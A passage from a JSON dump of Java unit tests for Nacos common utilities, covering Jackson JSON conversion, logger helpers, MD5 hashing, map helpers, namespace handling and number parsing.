JacksonUtils.toObj(\"{\\\"date\\\":1626192000000}\".getBytes(), new TypeReference<TestOfDate>() {\n        }));\n        assertEquals(new TestOfAccessModifier(),\n                JacksonUtils.toObj(\"{\\\"publicAccessModifier\\\":\\\"public\\\"}\".getBytes(), new TypeReference<TestOfAccessModifier>() {\n                }));\n        assertEquals(new TestOfGetter(),\n                JacksonUtils.toObj(\"{\\\"value\\\":\\\"value\\\",\\\"key\\\":\\\"key\\\"}\".getBytes(), new TypeReference<TestOfGetter>() {\n                }));\n        assertEquals(new TestOfAnnotationSub(), JacksonUtils.toObj(\n                (\"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfAnnotationSub\\\",\\\"date\\\":\\\"2021-07-14\\\",\"\n                        + \"\\\"subField\\\":\\\"subField\\\",\\\"camelCase\\\":\\\"value\\\"}\").getBytes(),\n                new TypeReference<TestOfAnnotation>() {\n                }));\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], TypeReference)\n     */\n    @Test\n    void testToObject10() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(\"{not_A}Json:String}\".getBytes(), new TypeReference<Object>() {\n            });\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Type)\n     */\n    @Test\n    void testToObject11() {\n        assertEquals(Collections.singletonMap(\"key\", \"value\"),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"key\\\":\\\"value\\\"}\".getBytes()),\n                        TypeUtils.parameterize(Map.class, String.class, String.class)));\n        assertEquals(Collections.singletonList(Collections.singletonMap(\"key\", \"value\")),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes()),\n                        TypeUtils.parameterize(List.class, TypeUtils.parameterize(Map.class, String.class, String.class))));\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Type)\n     */\n    @Test\n    void testToObject12() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(new ByteArrayInputStream(\"{not_A}Json:String}\".getBytes()),\n                    TypeUtils.parameterize(Map.class, String.class, String.class));\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Type)\n     */\n    @Test\n    void testToObject13() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"key\\\":\\\"value\\\"}\".getBytes()), Object.class.getGenericSuperclass());\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Type)\n     */\n    @Test\n    void testToObject14() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj((InputStream) null, Object.class.getGenericSuperclass());\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(String)\n     */\n    @Test\n    void testToObject15() {\n        assertEquals(\"null\", JacksonUtils.toObj(\"null\").asText());\n        assertEquals(\"string\", JacksonUtils.toObj(\"\\\"string\\\"\").asText());\n        assertEquals(30, JacksonUtils.toObj(\"30\").asInt());\n        assertEquals(\"value\", JacksonUtils.toObj(\"{\\\"key\\\":\\\"value\\\"}\").get(\"key\").asText());\n        assertEquals(\"value\", JacksonUtils.toObj(\"[{\\\"key\\\":\\\"value\\\"}]\").get(0).get(\"key\").asText());\n        \n        JsonNode jsonNode = JacksonUtils.toObj(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\");\n        assertEquals(0L, jsonNode.get(\"aLong\").asLong());\n        assertEquals(1, jsonNode.get(\"aInteger\").asInt());\n    }\n    \n    /**\n     * JacksonUtils.toObj(String)\n     */\n    @Test\n    void testToObject16() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(\"{not_A}Json:String}\");\n        });\n    }\n    \n    @Test\n    void testRegisterSubtype() {\n        JacksonUtils.registerSubtype(TestOfChild.class, \"JacksonUtilsTest$TestOfChild\");\n        \n        assertEquals(new TestOfChild(), JacksonUtils.toObj(\n                \"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfChild\\\",\\\"parentField\\\":\\\"parentValue\\\",\" + \"\\\"childField\\\":\\\"childValue\\\"}\",\n                TestOfParent.class));\n    }\n    \n    @Test\n    void testCreateEmptyJsonNode() {\n        assertEquals(\"\", JacksonUtils.createEmptyJsonNode().asText());\n        assertTrue(JacksonUtils.createEmptyJsonNode().isEmpty());\n    }\n    \n    @Test\n    void testCreateEmptyArrayNode() {\n        assertEquals(\"\", JacksonUtils.createEmptyJsonNode().asText());\n        assertEquals(0, JacksonUtils.createEmptyArrayNode().size());\n        assertTrue(JacksonUtils.createEmptyArrayNode().isEmpty());\n    }\n    \n    @Test\n    void testTransferToJsonNode() {\n        JsonNode jsonNode1 = JacksonUtils.transferToJsonNode(Collections.singletonMap(\"key\", \"value\"));\n        assertEquals(\"value\", jsonNode1.get(\"key\").asText());\n        \n        JsonNode jsonNode2 = JacksonUtils.transferToJsonNode(new TestOfAtomicObject());\n        assertEquals(\"0\", jsonNode2.get(\"aLong\").asText());\n        assertEquals(\"1\", jsonNode2.get(\"aInteger\").asText());\n        assertEquals(\"false\", jsonNode2.get(\"aBoolean\").asText());\n    }\n    \n    @Test\n    void testConstructJavaType() {\n        assertEquals(\"java.lang.String\", JacksonUtils.constructJavaType(String.class).getRawClass().getName());\n        assertTrue(JacksonUtils.constructJavaType(String.class).isFinal());\n    }\n    \n    @Test\n    void testToJsonBytes() {\n        Map<String, Object> map = new LinkedHashMap<String, Object>();\n        map.put(\"string\", \"你好，中国！\");\n        map.put(\"integer\", 999);\n        RestResult<Map<String, Object>> restResult = new RestResult();\n        restResult.setData(map);\n        \n        byte[] bytes = JacksonUtils.toJsonBytes(restResult);\n        String jsonFromBytes = ByteUtils.toString(bytes);\n        assertTrue(jsonFromBytes.contains(\"\\\"code\\\":0\"));\n        assertTrue(jsonFromBytes.contains(\"\\\"data\\\":{\\\"string\\\":\\\"你好，中国！\\\",\\\"integer\\\":999}\"));\n        // old `toJsonBytes` method implementation:\n        //     public static byte[] toJsonBytes(Object obj) {\n        //        try {\n        //            return ByteUtils.toBytes(mapper.writeValueAsString(obj));\n        //        } catch (JsonProcessingException e) {\n        //            throw new NacosSerializationException(obj.getClass(), e);\n        //        }\n        //    }\n        \n        // here is a verification to compare with the old implementation\n        byte[] bytesFromOldImplementation = ByteUtils.toBytes(JacksonUtils.toJson(restResult));\n        String jsonFromBytesOldImplementation = new String(bytesFromOldImplementation, Charset.forName(Constants.ENCODE));\n        assertTrue(jsonFromBytesOldImplementation.contains(\"\\\"code\\\":0\"));\n        assertTrue(jsonFromBytesOldImplementation.contains(\"\\\"data\\\":{\\\"string\\\":\\\"你好，中国！\\\",\\\"integer\\\":999}\"));\n    }\n    \n    @Test\n    void testToObjFromBytes() {\n        String json = \"{\\\"code\\\":0,\\\"data\\\":{\\\"string\\\":\\\"你好，中国！\\\",\\\"integer\\\":999}}\";\n        \n        RestResult<Map<String, Object>> restResult = JacksonUtils.toObj(json, RestResult.class);\n        assertEquals(0, restResult.getCode());\n        assertEquals(\"你好，中国！\", restResult.getData().get(\"string\"));\n        assertEquals(999, restResult.getData().get(\"integer\"));\n        \n        restResult = JacksonUtils.toObj(json, new TypeReference<RestResult<Map<String, Object>>>() {\n        });\n        assertEquals(0, restResult.getCode());\n        assertEquals(\"你好，中国！\", restResult.getData().get(\"string\"));\n        assertEquals(999, restResult.getData().get(\"integer\"));\n    }\n    \n    @Test\n    void tesToObjForClassWithException() {\n        assertThrows(NacosDeserializationException.class, () -> {\n            JacksonUtils.toObj(\"aaa\", JsonNode.class);\n        });\n    }\n    \n    @Test\n    void tesToObjForTypeWithException() {\n        assertThrows(NacosDeserializationException.class, () -> {\n            JacksonUtils.toObj(\"aaa\", TypeUtils.parameterize(JsonNode.class));\n        });\n    }\n    \n    @Test\n    void tesToObjForTypeTypeReferenceWithException() {\n        assertThrows(NacosDeserializationException.class, () -> {\n            JacksonUtils.toObj(\"aaa\", new TypeReference<JsonNode>() {\n            });\n        });\n    }\n    \n    @JsonPropertyOrder({\"aLong\", \"aInteger\", \"aBoolean\"})\n    static class TestOfAtomicObject {\n        \n        public AtomicLong aLong = new AtomicLong(0);\n        \n        public AtomicInteger aInteger = new AtomicInteger(1);\n        \n        public AtomicBoolean aBoolean = new AtomicBoolean(false);\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfAtomicObject that = (TestOfAtomicObject) o;\n            \n            if (aLong != null ? !(aLong.longValue() == that.aLong.longValue()) : that.aLong != null) {\n                return false;\n            }\n            if (aInteger != null ? !(aInteger.intValue() == that.aInteger.intValue()) : that.aInteger != null) {\n                return false;\n            }\n            return aBoolean != null ? aBoolean.get() == that.aBoolean.get() : that.aBoolean == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = aLong != null ? aLong.hashCode() : 0;\n            result = 31 * result + (aInteger != null ? aInteger.hashCode() : 0);\n            result = 31 * result + (aBoolean != null ? aBoolean.hashCode() : 0);\n            return result;\n        }\n    }\n    \n    static class TestOfAccessModifier {\n        \n        public String publicAccessModifier = \"public\";\n        \n        protected String protectedAccessModifier = \"protected\";\n        \n        String defaultAccessModifier = \"default\";\n        \n        private String privateAccessModifier = \"private\";\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfAccessModifier that = (TestOfAccessModifier) o;\n            \n            if (publicAccessModifier != null ? !publicAccessModifier.equals(that.publicAccessModifier)\n                    : that.publicAccessModifier != null) {\n                return false;\n            }\n            if (protectedAccessModifier != null ? !protectedAccessModifier.equals(that.protectedAccessModifier)\n                    : that.protectedAccessModifier != null) {\n                return false;\n            }\n            if (defaultAccessModifier != null ? !defaultAccessModifier.equals(that.defaultAccessModifier)\n                    : that.defaultAccessModifier != null) {\n                return false;\n            }\n            return privateAccessModifier != null ? privateAccessModifier.equals(that.privateAccessModifier)\n                    : that.privateAccessModifier == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = publicAccessModifier != null ? publicAccessModifier.hashCode() : 0;\n            result = 31 * result + (protectedAccessModifier != null ? protectedAccessModifier.hashCode() : 0);\n            result = 31 * result + (defaultAccessModifier != null ? defaultAccessModifier.hashCode() : 0);\n            result = 31 * result + (privateAccessModifier != null ? privateAccessModifier.hashCode() : 0);\n            return result;\n        }\n    }\n    \n    @JsonPropertyOrder({\"value\", \"key\"})\n    static class TestOfGetter {\n        \n        public String getKey() {\n            return \"key\";\n        }\n        \n        public String getValue() {\n            return \"value\";\n        }\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfGetter that = (TestOfGetter) o;\n            \n            if (getKey() != null ? !getKey().equals(that.getKey()) : that.getKey() != null) {\n                return false;\n            }\n            return getValue() != null ? getValue().equals(that.getValue()) : that.getValue() == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = getKey() != null ? getKey().hashCode() : 0;\n            result = 31 * result + (getValue() != null ? getValue().hashCode() : 0);\n            return result;\n        }\n        \n    }\n    \n    static class TestOfDate {\n        \n        public Date date = new Date(1626192000000L);\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfDate that = (TestOfDate) o;\n            \n            return date != null ? date.equals(that.date) : that.date == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            return date != null ? date.hashCode() : 0;\n        }\n    }\n    \n    @JsonInclude(JsonInclude.Include.NON_NULL)\n    @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)\n    @JsonSubTypes({@JsonSubTypes.Type(TestOfAnnotationSub.class)})\n    static class TestOfAnnotation {\n        \n        @JsonFormat(pattern = \"yyyy-MM-dd\", timezone = \"GMT+8\")\n        public Date date = new Date(1626192000000L);\n        \n        @JsonProperty(value = \"camelCase\")\n        public String underScore = \"value\";\n        \n        @JsonIgnore\n        public String ignore = \"ignore\";\n        \n        public String nullString = null;\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfAnnotation that = (TestOfAnnotation) o;\n            \n            if (date != null ? !date.equals(that.date) : that.date != null) {\n                return false;\n            }\n            if (underScore != null ? !underScore.equals(that.underScore) : that.underScore != null) {\n                return false;\n            }\n            if (ignore != null ? !ignore.equals(that.ignore) : that.ignore != null) {\n                return false;\n            }\n            return nullString != null ? nullString.equals(that.nullString) : that.nullString == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = date != null ? date.hashCode() : 0;\n            result = 31 * result + (underScore != null ? underScore.hashCode() : 0);\n            result = 31 * result + (ignore != null ? ignore.hashCode() : 0);\n            result = 31 * result + (nullString != null ? nullString.hashCode() : 0);\n            return result;\n        }\n    }\n    \n    static class TestOfAnnotationSub extends TestOfAnnotation {\n        \n        public String subField = \"subField\";\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            if (!super.equals(o)) {\n                return false;\n            }\n            \n            TestOfAnnotationSub that = (TestOfAnnotationSub) o;\n            \n            return subField != null ? subField.equals(that.subField) : that.subField == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = super.hashCode();\n            result = 31 * result + (subField != null ? subField.hashCode() : 0);\n            return result;\n        }\n    }\n    \n    @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)\n    static class TestOfParent {\n        \n        public String parentField = \"parentValue\";\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            \n            TestOfParent that = (TestOfParent) o;\n            \n            return parentField != null ? parentField.equals(that.parentField) : that.parentField == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            return parentField != null ? parentField.hashCode() : 0;\n        }\n    }\n    \n    static class TestOfChild extends TestOfParent {\n        \n        public String childField = \"childValue\";\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            if (!super.equals(o)) {\n                return false;\n            }\n            \n            TestOfChild that = (TestOfChild) o;\n            \n            return childField != null ? childField.equals(that.childField) : that.childField == null;\n        }\n        \n        @Override\n        public int hashCode() {\n            int result = super.hashCode();\n            result = 31 * result + (childField != null ? childField.hashCode() : 0);\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/LoggerUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\nimport org.slf4j.Logger;\n\nclass LoggerUtilsTest {\n    \n    @Test\n    void testPrintIfDebugEnabled() {\n        Logger logger = Mockito.mock(Logger.class);\n        Mockito.when(logger.isDebugEnabled()).thenReturn(true);\n        LoggerUtils.printIfDebugEnabled(logger, \"test\", \"arg1\", \"arg2\", \"arg3\");\n        Mockito.verify(logger, Mockito.times(1)).debug(\"test\", \"arg1\", \"arg2\", \"arg3\");\n    }\n    \n    @Test\n    void testPrintIfInfoEnabled() {\n        Logger logger = Mockito.mock(Logger.class);\n        Mockito.when(logger.isInfoEnabled()).thenReturn(true);\n        LoggerUtils.printIfInfoEnabled(logger, \"test\", \"arg1\", \"arg2\", \"arg3\");\n        Mockito.verify(logger, Mockito.times(1)).info(\"test\", \"arg1\", \"arg2\", \"arg3\");\n    }\n    \n    @Test\n    void testPrintIfTraceEnabled() {\n        Logger logger = Mockito.mock(Logger.class);\n        Mockito.when(logger.isTraceEnabled()).thenReturn(true);\n        LoggerUtils.printIfTraceEnabled(logger, \"test\", \"arg1\", \"arg2\", \"arg3\");\n        Mockito.verify(logger, Mockito.times(1)).trace(\"test\", \"arg1\", \"arg2\", \"arg3\");\n    }\n    \n    @Test\n    void testPrintIfWarnEnabled() {\n        Logger logger = Mockito.mock(Logger.class);\n        Mockito.when(logger.isWarnEnabled()).thenReturn(true);\n        LoggerUtils.printIfWarnEnabled(logger, \"test\", \"arg1\", \"arg2\", \"arg3\");\n        Mockito.verify(logger, Mockito.times(1)).warn(\"test\", \"arg1\", \"arg2\", \"arg3\");\n    }\n    \n    @Test\n    void testPrintIfErrorEnabled() {\n        Logger logger = Mockito.mock(Logger.class);\n        Mockito.when(logger.isErrorEnabled()).thenReturn(true);\n        LoggerUtils.printIfErrorEnabled(logger, \"test\", \"arg1\", \"arg2\", \"arg3\");\n        Mockito.verify(logger, Mockito.times(1)).error(\"test\", \"arg1\", \"arg2\", \"arg3\");\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/MD5UtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport java.security.NoSuchAlgorithmException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass MD5UtilsTest {\n    \n    @Test\n    void testMd5Hex() throws NoSuchAlgorithmException {\n        assertEquals(\"d41d8cd98f00b204e9800998ecf8427e\", MD5Utils.md5Hex(\"\", Constants.ENCODE));\n        assertEquals(\"acbd18db4cc2f85cedef654fccc4a4d8\", MD5Utils.md5Hex(\"foo\", Constants.ENCODE));\n        assertEquals(\"02f463eb799797e2a978fb1a2ae2991e\", MD5Utils.md5Hex(\n                \"38c5ee9532f037a20b93d0f804cf111fca4003e451d09a692d9dea8032308d9c64eda9047fcd5e850284a49b1a0cfb2ecd45\",\n                Constants.ENCODE));\n        \n        assertEquals(\"d41d8cd98f00b204e9800998ecf8427e\", MD5Utils.md5Hex(new byte[0]));\n        assertEquals(\"5289df737df57326fcdd22597afb1fac\", MD5Utils.md5Hex(new byte[] {1, 2, 3}));\n    }\n    \n    @Test\n    void testEncodeHexString() {\n        assertEquals(\"\", MD5Utils.encodeHexString(new byte[0]));\n        assertEquals(\"010203\", MD5Utils.encodeHexString(new byte[] {1, 2, 3}));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/MapUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport java.util.Collections;\nimport java.util.Dictionary;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.function.BiFunction;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\nclass MapUtilTest {\n    \n    @Test\n    void testIsEmptyAndNotEmptyMap() {\n        Map<Object, Object> map = null;\n        assertTrue(MapUtil.isEmpty(map));\n        assertFalse(MapUtil.isNotEmpty(map));\n        map = new HashMap<>();\n        assertTrue(MapUtil.isEmpty(map));\n        assertFalse(MapUtil.isNotEmpty(map));\n        map.put(\"a\", \"b\");\n        assertFalse(MapUtil.isEmpty(map));\n        assertTrue(MapUtil.isNotEmpty(map));\n    }\n    \n    @Test\n    void testIsEmptyOrEmptyDictionary() {\n        Dictionary<Object, Object> dictionary = null;\n        assertTrue(MapUtil.isEmpty(dictionary));\n        assertFalse(MapUtil.isNotEmpty(dictionary));\n        dictionary = new Hashtable<>();\n        assertTrue(MapUtil.isEmpty(dictionary));\n        assertFalse(MapUtil.isNotEmpty(dictionary));\n        dictionary.put(\"a\", \"b\");\n        assertFalse(MapUtil.isEmpty(dictionary));\n        assertTrue(MapUtil.isNotEmpty(dictionary));\n    }\n    \n    @Test\n    void testPutIfValNoNull() {\n        Map<Object, Object> map = new HashMap<>();\n        MapUtil.putIfValNoNull(map, \"key-1\", null);\n        assertTrue(map.isEmpty());\n        MapUtil.putIfValNoNull(map, \"key-1\", \"null\");\n        assertTrue(map.containsKey(\"key-1\"));\n    }\n    \n    @Test\n    void testPutIfValNoEmptyMap() {\n        Map<Object, Object> map = new HashMap<>();\n        \n        MapUtil.putIfValNoEmpty(map, \"key-str\", null);\n        assertFalse(map.containsKey(\"key-str\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-str\", \"\");\n        assertFalse(map.containsKey(\"key-str\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-str\", \"1\");\n        assertTrue(map.containsKey(\"key-str\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-list\", null);\n        assertFalse(map.containsKey(\"key-list\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-list\", Collections.emptyList());\n        assertFalse(map.containsKey(\"key-list\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-list\", Collections.singletonList(1));\n        assertTrue(map.containsKey(\"key-list\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-map\", null);\n        assertFalse(map.containsKey(\"key-map\"));\n        \n        MapUtil.putIfValNoEmpty(map, \"key-map\", Collections.emptyMap());\n        assertFalse(map.containsKey(\"key-map\"));\n        \n        Map<String, String> map1 = new HashMap<>();\n        map1.put(\"1123\", \"123\");\n        \n        MapUtil.putIfValNoEmpty(map, \"key-map\", map1);\n        assertTrue(map.containsKey(\"key-map\"));\n        \n        Dictionary dictionary = Mockito.mock(Dictionary.class);\n        when(dictionary.isEmpty()).thenReturn(true);\n        MapUtil.putIfValNoEmpty(map, \"key-dict\", dictionary);\n        assertFalse(map.containsKey(\"key-dict\"));\n        when(dictionary.isEmpty()).thenReturn(false);\n        MapUtil.putIfValNoEmpty(map, \"key-dict\", dictionary);\n        assertTrue(map.containsKey(\"key-dict\"));\n    }\n    \n    @Test\n    void testComputeIfAbsent() {\n        Map<String, String> target = new HashMap<>();\n        String key = \"key\";\n        String param1 = \"param1\";\n        String param2 = \"param2\";\n        BiFunction<String, String, String> mappingFunction = (p1, p2) -> p1 + p2;\n        \n        String result = MapUtil.computeIfAbsent(target, key, mappingFunction, param1, param2);\n        assertEquals(\"param1param2\", result);\n        \n        // Test that the mappingFunction is only called once\n        AtomicInteger counter = new AtomicInteger();\n        mappingFunction = (p1, p2) -> {\n            counter.incrementAndGet();\n            return p1 + p2;\n        };\n        \n        result = MapUtil.computeIfAbsent(target, key, mappingFunction, param1, param2);\n        assertEquals(\"param1param2\", result);\n        assertEquals(0, counter.get());\n    }\n    \n    @Test\n    void testRemoveKey() {\n        Map<String, Integer> map = new HashMap<>();\n        map.put(\"A\", 1);\n        map.put(\"B\", 2);\n        map.put(\"C\", 3);\n        \n        MapUtil.removeKey(map, \"B\", integer -> integer == 1);\n        assertEquals(3, map.size());\n        MapUtil.removeKey(map, \"B\", integer -> integer == 2);\n        assertEquals(2, map.size());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/NamespaceUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * test NamespaceUtil.\n *\n * @author klw(213539 @ qq.com)\n * @date 2020/10/13 9:46\n */\nclass NamespaceUtilTest {\n    \n    @AfterEach\n    void tearDown() {\n        NamespaceUtil.setNamespaceDefaultId(Constants.DEFAULT_NAMESPACE_ID);\n    }\n    \n    @Test\n    void testProcessTenantParameter() {\n        String strPublic = \"public\";\n        assertEquals(strPublic, NamespaceUtil.processNamespaceParameter(strPublic));\n        String strEmpty = \"\";\n        String strNull = \"null\";\n        assertEquals(strNull, NamespaceUtil.processNamespaceParameter(strNull));\n        assertEquals(strPublic, NamespaceUtil.processNamespaceParameter(strEmpty));\n        assertEquals(strPublic, NamespaceUtil.processNamespaceParameter(null));\n        String strAbc = \"abc\";\n        assertEquals(strAbc, NamespaceUtil.processNamespaceParameter(strAbc));\n        String strdef123 = \"def123\";\n        assertEquals(strdef123, NamespaceUtil.processNamespaceParameter(strdef123));\n        String strAbcHasSpace = \"  abc  \";\n        assertEquals(strAbc, NamespaceUtil.processNamespaceParameter(strAbcHasSpace));\n    }\n    \n    @Test\n    void testSetNamespaceDefaultId() {\n        assertTrue(NamespaceUtil.isDefaultNamespaceId(Constants.DEFAULT_NAMESPACE_ID));\n        NamespaceUtil.setNamespaceDefaultId(\"Deprecated\");\n        assertEquals(\"Deprecated\", NamespaceUtil.getNamespaceDefaultId());\n        assertFalse(NamespaceUtil.isDefaultNamespaceId(Constants.DEFAULT_NAMESPACE_ID));\n    }\n    \n    @Test\n    void testIsNeedTransferNamespace() {\n        assertTrue(NamespaceUtil.isNeedTransferNamespace(null));\n        assertTrue(NamespaceUtil.isNeedTransferNamespace(\"\"));\n        assertFalse(NamespaceUtil.isNeedTransferNamespace(\"public\"));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/NumberUtilsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Number utils.\n *\n * @author zzq\n */\nclass NumberUtilsTest {\n    \n    @Test\n    void testToInt() {\n        assertEquals(0, NumberUtils.toInt(null));\n        assertEquals(0, NumberUtils.toInt(StringUtils.EMPTY));\n        assertEquals(1, NumberUtils.toInt(\"1\"));\n    }\n    \n    @Test\n    void testTestToInt() {\n        assertEquals(1, NumberUtils.toInt(null, 1));\n        assertEquals(1, NumberUtils.toInt(\"\", 1));\n        assertEquals(1, NumberUtils.toInt(\"1\", 0));\n    }\n    \n    @Test\n    void testToLong() {\n        assertEquals(1L, NumberUtils.toLong(null, 1L));\n        assertEquals(1L, NumberUtils.toLong(\"\", 1L));\n        assertEquals(1L, NumberUtils.toLong(\"1\", 0L));\n    }\n    \n    @Test\n    void testToDouble() {\n        assertEquals(1.1d, NumberUtils.toDouble(null, 1.1d), 0);\n        assertEquals(1.1d, NumberUtils.toDouble(\"\", 1.1d), 0);\n        assertEquals(1.5d, NumberUtils.toDouble(\"1.5\", 0.0d), 0);\n    }\n    \n    @Test\n    void testIsDigits() {\n        assertFalse(NumberUtils.isDigits(null));\n        assertFalse(NumberUtils.isDigits(\"\"));\n        assertTrue(NumberUtils.isDigits(\"12345\"));\n        assertFalse(NumberUtils.isDigits(\"1234.5\"));\n        assertFalse(NumberUtils.isDigits(\"1ab\"));\n        assertFalse(NumberUtils.isDigits(\"abc\"));\n    }\n    \n    @Test\n    void testToFloatString() {\n        assertEquals(NumberUtils.toFloat(\"-1.2345\"), -1.2345f, 0);\n        assertEquals(1.2345f, NumberUtils.toFloat(\"1.2345\"), 0);\n        assertEquals(0.0f, NumberUtils.toFloat(\"abc\"), 0);\n        \n        assertEquals(NumberUtils.toFloat(\"-001.2345\"), 